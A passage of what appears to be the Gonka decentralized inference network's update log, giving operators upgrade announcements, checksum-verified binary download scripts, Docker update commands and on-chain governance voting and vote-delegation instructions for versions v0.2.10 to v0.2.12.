"}, {"location": "gonka/docs/network-updates/#may-4-2026_2", "title": "May 4, 2026", "text": "Transfer agents node1, node2, and node3 have been disabled. All mainnet inference is now routed through node4, which operates on the new devshard-based billing approach.
This marks a milestone for the network that devshard is live and production-ready. node4 is the recommended public gateway going forward.
Action required: update your endpoint to node4.
Today's pre-eligibility validations don't pass, with a minimal weight for hosts whose PoCIntent is <30%. Please leave your MLNodes with Qwen235B and send your intent for the next epoch tomorrow.
UPGRADE EXECUTED: v0.2.12 is now live on mainnet
The on-chain governance vote for Upgrade Proposal v0.2.12 has concluded. The proposal has been APPROVED, and the upgrade was successfully executed on the mainnet.
Key changes now active
moonshotai/Kimi-K2.6 is introduced as the second model: The model group will be activated two epochs after the upgrade. The coefficient for this model is 3.51x the coefficient of Qwen235B, based on compute complexity of models on the same hardware (8xH200, 8xB200).POC_SLOT=true are randomly sampled for single PoC / CPoC time. Other updates include propagating the mlnode version to the on-chain HardwareNode, fixing DKG dealer consensus, aligning legacy validator slashing with required-collateral semantics, ensuring atomicity of the devshard escrow fund, and adding zero-timestamp tolerance to inference_finished event parsing.Guidance for Hosts
Deploy, delegate, or explicitly refuse the new governance-approved model (the included model will be activated 2 epochs after the upgrade). Refer to the guide.
Hosts are asked to update the dashboard/explorer. Please run the following commands from the gonka/deploy/join directory:
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\nBinary Versions: Updated via the on-chain upgrade process.
Migration: Testing and migration details are documented in the v0.2.12 documentation.
Additional details for these changes are available in the governance artifacts: https://github.com/gonka-ai/gonka/tree/upgrade-v0.2.12/proposals/
"}, {"location": "gonka/docs/network-updates/#april-29-2026", "title": "April 29, 2026", "text": "Upgrade v0.2.12: Pre-download binaries
The on-chain governance process for the v0.2.12 upgrade proposal is nearing its conclusion.
Hosts are encouraged to review the proposal on GitHub and participate in the vote.
Pre-downloading binaries in advance may help avoid relying on GitHub availability during the upgrade window.
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.12/bin \\\n .inference/cosmovisor/upgrades/v0.2.12/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.12/decentralized-api-amd64.zip\" && \\\necho \"d0143a95e12e1ada06cfea5e4d3deab13534c3523c967e9a6b87ac9f9bf3247d decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.12/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.12/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.12/inferenced-amd64.zip\" && \\\necho \"df7656503d39f6703767d32d5578d1291e32cb114844d8c1cd0f134d1bf4babd inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.12/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced && \\\necho \"94ce943338d12844028e84fe770106c9d28d866cf0af99f27da30f56d69efa34 .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"642eb9858cd77d182f3e1c4d44553f5379d615983430e1fd8e85f09632af4271 .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced\" | sudo sha256sum --check\nUpgrade v0.2.12: Pre-Upgrade Model Cleanup
The v0.2.12 upgrade proposal is now halfway through its on-chain voting period.
Hosts are encouraged to review the proposal on GitHub and vote.
Action required before the upgrade
As the network approaches the upgrade window, hosts should prepare their nodes in advance in case the proposal passes.
This cleanup process must be completed before the upgrade happens. If, at the time of the upgrade, your node’s configuration includes unsupported models, it will be rejected and go offline.
Version 0.2.12 removes every governance model that is not on the post-upgrade approved list. On mainnet, only the previously enforced model and Kimi will remain. Each DAPI persists its MLNode configurations locally. On startup, it validates every configured model against the on-chain governance list. If a configuration includes at least one unsupported model, the entire node is rejected, and the host goes offline.
Version 0.2.11 masked this problem by trimming the runtime view down to the enforced model, so /admin/v1/nodes appeared clean even when the persisted config still contained extra models. Version 0.2.12 stops this trimming, meaning the persisted config is loaded directly.
To fix this, the script below finds each node with extra models in /admin/v1/config and sends a PUT request with a cleaned config to /admin/v1/nodes/<id>. These changes are persisted within 60 seconds. The remaining model's arguments, hardware, and ports are preserved exactly. Nodes that do not list the enforced model are skipped and will require manual fixing.
Paste the following script into the host's shell. By default, it will apply the changes. To preview the changes without applying them, set APPLY=dry (or any value other than --apply).
Script in the repository:
ADMIN=${ADMIN:-http://127.0.0.1:9200}\nKEEP=${KEEP:-Qwen/Qwen3-235B-A22B-Instruct-2507-FP8}\nAPPLY=${APPLY:-\"--apply\"}\n\ncurl -sS \"$ADMIN/admin/v1/config\" | jq -r --arg k \"$KEEP\" '\n .nodes[] | \"\\(.id): \" + (\n if (.models | has($k) | not) then \"skip (\\(.models | keys))\"\n elif (.models | length) == 1 then \"ok\"\n else \"\\(.models | keys) -> [\\($k)]\" end)'\n\nif [[ \"$APPLY\" == \"--apply\" ]]; then\n curl -sS \"$ADMIN/admin/v1/config\" \\\n | jq -c --arg k \"$KEEP\" \\\n '.nodes[] | select((.models | has($k)) and (.models | length > 1)) | .models = {($k): .models[$k]}' \\\n | while IFS= read -r p; do\n id=$(jq -r .id <<<\"$p\")\n curl -sS -f -X PUT -H 'Content-Type: application/json' -d \"$p\" \\\n \"$ADMIN/admin/v1/nodes/$id\" >/dev/null && echo \"$id: updated\"\n done\n echo \"done; persisted within 60s\"\nelse\n echo \"preview only; rerun without APPLY=dry to commit\"\nfi\nWait 60 seconds after running the script to ensure the changes are persisted before triggering the upgrade. Then, verify the configuration:
curl -sS http://127.0.0.1:9200/admin/v1/config \\\n | jq '.nodes[] | {id, models: (.models | keys)}'\nExpected output:
{\n \"id\": \"<nodeId>\",\n \"models\": [\n \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\"\n ]\n}\nv0.2.12 Upgrade Proposal Enters Governance
The upgrade proposal for the next on-chain software version v0.2.12 has now been published on-chain and is open for voting.
Key changes
moonshotai/Kimi-K2.6 is introduced as the second model: The model group will be activated two epochs after the upgrade. The coefficient for this model is 3.51x the coefficient of Qwen235B, based on compute complexity of models on the same hardware (8xH200, 8xB200).POC_SLOT=true are randomly sampled for single PoC / CPoC time. Other updates include propagating the mlnode version to the on-chain HardwareNode, fixing DKG dealer consensus, aligning legacy validator slashing with required-collateral semantics, ensuring atomicity of the devshard escrow fund, and adding zero-timestamp tolerance to inference_finished event parsing.Upgrade plan
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Required actions
Before the upgrade
Deploy latest versions of versiond and proxy services from docker-compose.yml (using the repo at tag release/v0.2.12):
git checkout release/v0.2.12\n--no-deps): source config.env && \\\ndocker compose -f docker-compose.yml up versiond proxy -d --no-deps\ndevshard working independently from api service. Post-upgrade
Deploy, delegate, or explicitly refuse the new governance-approved model(the included model will be activated 2 epochs after the upgrade). Refer to the guide.
Before or after the upgrade
Hosts are asked to update the dashboard/explorer. Please run the following commands from the gonka/deploy/join directory:
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\nHow to vote
If you do not have direct access to the key that holds voting power, or want another key to vote on your behalf, please refer to the guide on granting governance voting permission from a cold key to a warm key.
Proposal details and voting are available via inferenced. Any active node can be used. Available nodes include:
Cast your vote ( yes, no , abstain , no_with_veto ):
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 44 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 44 -o json --node $NODE_URL/chain-rpc/\nDeadlines
Attention
.inference/data directory; ensure sufficient disk space is available. Guidance on safely removing old backups from the .inference directory is available in the documentation.application.db occupies a significant amount of disk space, the cleanup techniques described in the cosmovisor backup guide may be applied.PR Review for Upgrade v0.2.12
The pull request for the next on-chain software upgrade, v0.2.12, is open for review.
Please review the PR code directly and leave comments regarding any findings, questions, suggested improvements, edge cases, or vulnerabilities you identify.
Meaningful review contributions, including important comments, bug findings, and security issues, may be eligible for community bounties during the next upgrade cycle.
This is a call for review of the Pull Request only, and it does not initiate formal voting. The governance voting process will begin after the review period concludes.
Key changes
NetworkDutyFeeBypassDecorator. MsgPoCV2StoreCommit charges a two-component fee (base validation + count-linear) as the primary Sybil defense. See docs/host_onboarding.md for details.mlnode version to the on-chain HardwareNode, fixing DKG dealer consensus, aligning legacy validator slashing with required-collateral semantics, ensuring atomicity of the devshard escrow fund, and adding zero-timestamp tolerance to inference_finished event parsing.Upgrade plan
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Required actions post-upgrade
Existing Hosts:
versiond service from docker-compose.yml (using the last commit in the main branch)proxy container using new version and parameters. The documentation will provide the exact command.ML Node 3.0.12-post6 available
A new mlnode version is now available: ghcr.io/gonka-ai/mlnode:3.0.12-post6
This version is now set as the default in the main branch: https://github.com/gonka-ai/gonka/commit/ec8f45573149ce5686e8e5fc29f1a8f49a295689
What changed
This version has already been used by some miners over recent epochs. Initial observations indicate improved stability for nodes operating close to PoC start.
The update includes a fix for an edge case near PoC start that could previously lead to degraded performance under certain conditions.
Full changes in vLLM: https://github.com/gonka-ai/vllm/compare/release/v0.9.1-pocv2-post5...release/v0.9.1-pocv2-post6
Guidance
UPGRADE EXECUTED: v0.2.11 is now live on mainnet
The on-chain governance vote for Upgrade Proposal v0.2.11 has concluded. The proposal has been APPROVED, and the upgrade was successfully executed on the mainnet.
Key changes now active
Initial scaling architecture: devshards-based inference sessions
This upgrade introduces an initial version of devshards-based inference sessions intended to improve inference scalability.
StartInference and FinishInference performance improvements
These performance improvements enable up to 100x more inferences per block, depending on workload and network conditions. Additional details for these and other changes are available here: https://github.com/gonka-ai/gonka/pull/813
Guidance for Hosts
Additional details for these changes are available in the governance artifacts: https://github.com/gonka-ai/gonka/tree/upgrade-v0.2.11/proposals/
"}, {"location": "gonka/docs/network-updates/#march-19-2026", "title": "March 19, 2026", "text": "Upgrade v0.2.11: Pre-download binaries
The on-chain governance process for the v0.2.11 upgrade proposal is nearing its conclusion.
Hosts are encouraged to review the proposal on GitHub and vote. Pre-downloading binaries in advance may help avoid relying on GitHub availability during the upgrade window.
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.11/bin \\\n .inference/cosmovisor/upgrades/v0.2.11/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.11/decentralized-api-amd64.zip\" && \\\necho \"e574c3d86189daf325cc7008603ee8e952efb028afda5bcd4a154dcd334192d4 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.11/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.11/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.11/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.11/inferenced-amd64.zip\" && \\\necho \"c77528bd2e31e86355a6eefddb50e0db7f9600ebf2940ca440a61ea36e7ef7ca inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.11/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.11/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.11/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.11/bin/inferenced && \\\necho \"8b99e550ddd117a0cb4293b4ae74e0e5dff961a1986f23b58ec7ae6c3f0478f1 .dapi/cosmovisor/upgrades/v0.2.11/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"6cf186a75782da07156d4d03b4266cefcb36656de89e4a378ae96d8df89ad003 .inference/cosmovisor/upgrades/v0.2.11/bin/inferenced\" | sudo sha256sum --check\nv0.2.11 Upgrade Proposal Enters Governance
The upgrade proposal for the next on-chain software version v0.2.11 has now been published on-chain and is open for voting. If approved, the proposal introduces an initial version of devshards-based inference sessions intended to improve inference scalability, and significantly Start/FinishInference performance improvements.
Key changes
Initial scaling architecture: devshards-based inference sessions
This upgrade introduces an initial version of devshards-based inference sessions intended to improve inference scalability.
Today, handling inference through per-inference on-chain transactions limits throughput. This design moves inference execution and validation into an assigned off-chain subgroup, while the chain only handles session creation and final settlement.
This is intentionally an early and constrained version of the design. It is being proposed for mainnet review and limited production testing, not because it is considered finished, but because this type of system needs exposure to real network conditions early. Some classes of issues are difficult to surface through local testing alone. Current implementation has been designed to avoid negatively affecting miners’ rewards.
StartInference and FinishInference performance improvements
MsgStartInference and MsgFinishInference.On mainnet-like conditions, this also makes it possible to fit up to 100x more inferences per block, depending on workload and network conditions.  Additional details for these and other changes are available here: https://github.com/gonka-ai/gonka/pull/813
Recommended action before the upgrade
application.db pruning
Hosts are strongly encouraged to prune application.db before the upgrade, following the provided instructions.
Doing this in advance is important. If many nodes defer pruning until after the upgrade, pruning activity may begin across the network at roughly the same time, creating avoidable operational pressure. Pruning instructions are documented here: https://gonka.ai/FAQ/#__tabbed_7_4
Explorer update
Hosts are asked to update the dashboard/explorer. Please run the following commands from the gonka/deploy/join directory:
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\nHow to vote
If you do not have direct access to the key that holds voting power, or want another key to vote on your behalf, please refer to the guide on granting governance voting permission from a cold key to a warm key.
Proposal details and voting are available via inferenced. Any active node can be used. Available nodes include:
Cast your vote ( yes, no , abstain , no_with_veto ):
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 31 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nTo check the voting status:
export NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 31 -o json --node $NODE_URL/chain-rpc/\nDeadlines
Attention
.inference/data directory; ensure sufficient disk space is available. Guidance on safely removing old backups from the .inference directory is available in the documentation.application.db occupies a significant amount of disk space, the cleanup techniques described here may be applied.PR Review for Upgrade v0.2.11
The Pull Request for the next on-chain software upgrade, v0.2.11, is open for review. Feedback and suggested improvements are welcome.
Bounties for meaningful contributions to this PR review may be proposed in the next upgrade.
This is a call for review of the Pull Request only, and not the start of formal voting. The governance voting process will begin after the review period concludes.
Key changes
Initial scaling architecture: devshards-based inference sessions
This upgrade introduces an initial version of devshards-based inference sessions intended to improve inference scalability.
Today, handling inference through per-inference on-chain transactions limits throughput. This design moves inference execution and validation into an assigned off-chain subgroup, while the chain only handles session creation and final settlement.
This is intentionally an early and constrained version of the design. It is being proposed for mainnet review and limited production testing, not because it is considered finished, but because this type of system needs exposure to real network conditions early. Some classes of issues are difficult to surface through local testing alone. Current implementation has been designed to avoid negatively affecting miners’ rewards.
StartInference and FinishInference performance improvements
MsgStartInference and MsgFinishInference.On mainnet-like conditions, this also makes it possible to fit up to 100x more inferences per block, depending on workload and network conditions. 
Recommended action before the upgrade
application.db pruning
Hosts are strongly encouraged to prune application.db before the upgrade, following the provided instructions. Doing this in advance is important. If many nodes defer pruning until after the upgrade, pruning activity may begin across the network at roughly the same time, creating avoidable operational pressure. Pruning instructions are documented here.
Explorer update
Hosts are asked to update the dashboard/explorer. Please run the following commands from the gonka/deploy/join directory:
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\nAPI binary v0.2.10-post7 is available
A potential vulnerability has been identified in v0.2.10. To reduce risk during the current pre-upgrade period, it is recommended to upgrade the api binary to v0.2.10-post7 before the next PoC starts.
Full changes: https://github.com/gonka-ai/gonka/compare/main…release/v0.2.10-post7
Apply update:
# Pre-check: Ensure no confirmation PoC is active (fails entire script if not false)\necho \"--- Pre-flight Check: Confirmation PoC Status ---\" && \\\nCONFIRMATION_POC_ACTIVE=$(curl -sf \"https://node3.gonka.ai/v1/epochs/latest\" | jq -r '.is_confirmation_poc_active') && \\\n[ \"$CONFIRMATION_POC_ACTIVE\" = \"false\" ] && \\\necho \"OK: No confirmation PoC active\" && \\\n\n# Download Binary\nsudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.10-post7/ .dapi/data/upgrade-info.json && \\\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.10-post7/bin/ && \\\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-post7/decentralized-api-amd64.zip' && \\\necho \"71481e6f2c5f9a355ed283a0896833bcc8397e8bcda134a796a46467bd2ff3b0 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.10-post7/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.10-post7/bin/decentralized-api && \\\necho \"API Installed and Verified\" && \\\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .dapi/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.10-post7 .dapi/cosmovisor/current && \\\necho \"313df0747e090518ac052918ad23f9d6e70bb60dede2013375e322c23605f3e0 .dapi/cosmovisor/current/bin/decentralized-api\" | sudo sha256sum --check && \\\n# Restart \nsource config.env && docker compose up api --no-deps --force-recreate -d\nTool calling
Tool calling is now available through the standard function-calling pattern (type: “function”).
The integration flow is simple:
For teams already using proxy layers, this may be a good opportunity to simplify the stack and rely on native behavior instead. In practice, that should lead to a cleaner integration pattern and easier maintenance.
"}, {"location": "gonka/docs/network-updates/#march-6-2026", "title": "March 6, 2026", "text": "Heads up: v0.2.11 upgrade is expected to enter review and governance voting early next week.
Please keep an eye out and plan to participate. Voting is one of the simplest ways to support network development and keep upgrades aligned with what participants actually need. If you do not have access to the cold key that holds your voting power, it makes sense to arrange vote delegation in advance. Please contact the owner of that key and ask them to grant permission for you to vote on their behalf. Without that authorization, a vote cannot be submitted from another account.
In this setup:
The grantee can still vote for their own account as well. The granter can revoke this permission at any time.
Below are copy-paste commands for granting, checking, using, and revoking vote delegation.
1) Grant voting permission (run from the granter key)
CommandExample response./inferenced tx authz grant <GRANTEE_GONKA_ADDRESS> generic \\\n --msg-type=/cosmos.gov.v1beta1.MsgVote \\\n --from=<GRANTER_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --expiration=<UNIX_TIMESTAMP> \\\n --home .inference \\\n --keyring-backend file\n{\n \"height\": \"0\",\n \"txhash\": \"8D96FB6FC06FFB928FBC89FE950689CD040C7F338C197BA856175EC7462A3FFA\",\n \"codespace\": \"\",\n \"code\": 0,\n \"data\": \"\",\n \"raw_log\": \"\",\n \"logs\": [],\n \"info\": \"\",\n \"gas_wanted\": \"0\",\n \"gas_used\": \"0\",\n \"tx\": null,\n \"timestamp\": \"\",\n \"events\": []\n}\n2) Verify the grant exists (run from any node)
CommandExample response./inferenced query authz grants <GRANTER_GONKA_ADDRESS> <GRANTEE_GONKA_ADDRESS> \\\n --node=\"http://<MAINNET_NODE_URL>:26657\" \\\n --output=json | jq .\n{\n \"grants\": [\n {\n \"authorization\": {\n \"type\": \"cosmos-sdk/GenericAuthorization\",\n \"value\": {\n \"msg\": \"/cosmos.gov.v1beta1.MsgVote\"\n }\n },\n \"expiration\": \"2026-12-03T18:38:18Z\"\n }\n ],\n \"pagination\": {\n \"total\": \"1\"\n }\n}\n3) Vote using the grantee
CommandExample response# Find the proposal ID which you are voting for - use it as <VOTE_PROPOSAL_ID> in the voting body \n./inferenced query gov proposals --output json\n\n# Prepare the file with the voting body\ncat > /tmp/authz-vote.json << 'EOF'\n{\n \"body\": {\n \"messages\": [\n {\n \"@type\": \"/cosmos.authz.v1beta1.MsgExec\",\n \"grantee\": \"<GRANTEE_GONKA_ADDRESS>\",\n \"msgs\": [\n {\n \"@type\": \"/cosmos.gov.v1beta1.MsgVote\",\n \"proposal_id\": \"<VOTE_PROPOSAL_ID>\",\n \"voter\": \"<GRANTER_GONKA_ADDRESS>\",\n \"option\": \"VOTE_OPTION_YES\"\n }\n ]\n }\n ]\n }\n}\nEOF\n\n\n# Vote using the file \n./inferenced tx authz exec /tmp/authz-vote.json \\ --from=<GRANTEE_KEY_NAME> \\ \n--chain-id=gonka-mainnet \\\n--home .inference \\\n--keyring-backend file \\\n--node=\"http://<MAINNET_NODE_URL>:26657\" -y\n{\n \"pagination\": {\n \"total\": \"1\"\n },\n \"proposals\": [\n {\n \"deposit_end_time\": \"2026-03-06T10:40:07.016920026Z\",\n \"final_tally_result\": {\n \"abstain_count\": \"0\",\n \"no_count\": \"0\",\n \"no_with_veto_count\": \"0\",\n \"yes_count\": \"0\"\n },\n \"id\": \"1\",\n \"messages\": [\n {\n \"type\": \"cosmos-sdk/MsgSoftwareUpgrade\",\n \"value\": {\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"height\": \"406062\",\n \"info\": \"{\\n \\\"binaries\\\":{\\n \\\"linux/amd64\\\":\\\"https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-testnet1/inferenced-amd64.zip?checksum=sha256:fb71310427436aebac32813735231882fca420cf0d94b036f8cacd055d0e1c78\\\"\\n },\\n \\\"api_binaries\\\":{\\n \\\"linux/amd64\\\":\\\"https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-testnet1/decentralized-api-amd64.zip?checksum=sha256:6fe214f4bb2d831c02ce407682820d95d01e6ae94a33fe9c4617b80e0ca716ce\\\"\\n }\\n }\",\n \"name\": \"v0.2.10\",\n \"time\": \"0001-01-01T00:00:00Z\"\n }\n }\n }\n ],\n \"proposer\": \"gonka1xfvr8mywcrxrcrryvj8c5d2grvyjdj5c90fd88\",\n \"status\": 2,\n \"submit_time\": \"2026-03-04T10:40:07.016920026Z\",\n \"summary\": \"Upgrade Proposal v0.2.10\",\n \"title\": \"Upgrade Proposal v0.2.10\",\n \"total_deposit\": [\n {\n \"amount\": \"50000000\",\n \"denom\": \"ngonka\"\n }\n ],\n \"voting_end_time\": \"2026-03-04T10:50:07.016920026Z\",\n \"voting_start_time\": \"2026-03-04T10:40:07.016920026Z\"\n }\n ]\n}\nVoting options:
VOTE_OPTION_YESVOTE_OPTION_ABSTAINVOTE_OPTION_NOVOTE_OPTION_NO_WITH_VETO4) Revoke delegation (run from the granter key)
CommandExample response./inferenced tx authz revoke <GRANTEE_GONKA_ADDRESS> /cosmos.gov.v1beta1.MsgVote \\\n --from=<GRANTER_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --home .inference \\\n --keyring-backend file\n{\n code: 0\n codespace: \"\"\n data: \"\"\n events: []\n gas_used: \"0\"\n gas_wanted: \"0\"\n height: \"0\"\n info: \"\"\n logs: []\n raw_log: \"\"\n timestamp: \"\"\n tx: null\n txhash: A2C3CDA9E95DCF143C0D8981A4F573F1E68879ECF4903B25BA97383C3F2FDFBA\n}\nAPI binary v0.2.10-post3 is available
A new version of the API binary has been released. It updates connection timeout handling and introduces additional checks in the PoC validation pipeline.
PR: https://github.com/gonka-ai/gonka/pull/785
Build: https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-post3/decentralized-api-amd64.zip
Apply update:
# Pre-check: Ensure no confirmation PoC is active (fails entire script if not false)\necho \"--- Pre-flight Check: Confirmation PoC Status ---\" && \\\nCONFIRMATION_POC_ACTIVE=$(curl -sf \"https://node3.gonka.ai/v1/epochs/latest\" | jq -r '.is_confirmation_poc_active') && \\\n[ \"$CONFIRMATION_POC_ACTIVE\" = \"false\" ] && \\\necho \"OK: No confirmation PoC active\" && \\\n\n# Download Binary\nsudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.10-post3/ .dapi/data/upgrade-info.json && \\\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.10-post3/bin/ && \\\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-post3/decentralized-api-amd64.zip' && \\\necho \"1b75f2785c7884dc24f3c1e39d5ed10f4afcbe5fc677f5569d90d75c752ec150 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.10-post3/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.10-post3/bin/decentralized-api && \\\necho \"API Installed and Verified\" && \\\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .dapi/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.10-post3 .dapi/cosmovisor/current && \\\necho \"de72c665ff71de904210c5472cebb248d163c1398141868e1a1fe198055b5886 .dapi/cosmovisor/current/bin/decentralized-api\" | sudo sha256sum --check && \\\n# Restart \nsource config.env && docker compose up api --no-deps --force-recreate -d\nRecommendation (optional): vLLM / mlnode build to interrupt in-flight requests at PoC start
A new vLLM / mlnode build is available that interrupts in-flight inference requests at the start of PoC, to reduce the risk of potential weight decreases caused by requests that remain active when PoC begins.
Source: https://github.com/gonka-ai/vllm/tree/release/v0.9.1-pocv2-post5/vllm
Recommended images to try:
Notes:
Collateral parameter update proposal — Voting result
The collateral parameter update proposal has concluded without reaching quorum. As a result, the proposal has been rejected under the current governance rules. This means the updated parameters will not be activated.
As previously stated, collateral activation at Epoch 180 is independent of this vote.
Because the proposal did not pass, the collateral parameters defined in Genesis will automatically take effect at Epoch 180.
Participants should:
Collateral activation is part of the protocol’s transition from the Grace Period to a fully collateralized PoC-weight model. Governance remains the mechanism for adjusting parameters, but default rules apply if no alternative is approved.
Important: deposit with a buffer
Participants are strongly encouraged not to deposit the exact minimum amount. PoC weight may fluctuate between epochs due to normalization effects and network-level adjustments. Smaller weights may experience proportionally larger relative fluctuations. To avoid temporary under-collateralization at the epoch boundary, it is recommended to deposit up to 2× the calculated minimum requirement while collateral levels remain relatively small. This provides operational safety and prevents unintended weight reduction due to minor parameter shifts. The protocol does not auto-top-up collateral.
Further proposals may be introduced if the community wishes to revise the parameters again.
"}, {"location": "gonka/docs/network-updates/#february-19-2026_1", "title": "February 19, 2026", "text": "PoC weight normalization update
Following the recent upgrade, node weights have adjusted due to PoC duration normalization. To normalize PoC weight against actual block generation time, calibration parameters were selected based on observed block intervals. As implemented, the effective PoC reference window turned out to be approximately 5 blocks longer than the prior nominal assumption.
As a result:
Why this happened
Previously, PoC weight calculations relied on a nominal epoch duration assumption. After introducing real-time normalization:
Because the effective normalization window is ~5 blocks longer than the earlier nominal model, the recalculated weight per epoch is proportionally lower.
Observed GPU weight changes (Epoch 175 → 176)
GPU Type Epoch 175 Epoch 176 Change A100-PCIE-40GB 11.8 10.0 -15.4% A100-SXM4-80GB 132.2 107.8 -18.5% H100 80GB HBM3 305.1 254.5 -16.6% H100 PCIe 178.9 155.7 -12.9% H200 319.6 281.3 -12.0%Action for tracker (dashboard) maintainers
With PoC duration normalization in effect and the effective reference window now ~5 blocks longer than the previous nominal assumption, weight values from Epoch 176 onward reflect the updated calculation model. Trackers and dashboards that derive H100-equivalent capacity or reward projections from PoC weight should verify their conversion coefficients starting from Epoch 176. If pre-normalization assumptions are still used, displayed hardware equivalents and projected rewards may appear overstated.
"}, {"location": "gonka/docs/network-updates/#february-18-2026", "title": "February 18, 2026", "text": "UPGRADE EXECUTED: v0.2.10 is now live on mainnet
The on-chain governance vote for Upgrade Proposal v0.2.10 has concluded. The proposal has been APPROVED, and the upgrade was successfully executed on the mainnet. This upgrade introduces a significant optimization to PoC validation and implements real-time weight normalization to improve network fairness and scalability.
Attention
ML Node containers must be restarted to trigger re-deploy of the model. Run:
docker restart join-mlnode-1\nmlnode:3.0.12-post4-* should be completed within the 3000-block grace period introduced in the upgrade. Compatibility Note
This upgrade includes a migration to IBC stack v8.7.0. Check any scripts parsing inferenced CLI output. Enums and int64/uint64 values are now encoded as strings.
Key changes now active
PoC Validation Sampling Optimization
This upgrade introduces a new PoC validation mechanism that reduces complexity from O(N^2) to O(N x N_SLOTS) by assigning each participant a fixed sampled set of validators.
PoC Weight Normalization by Real Time
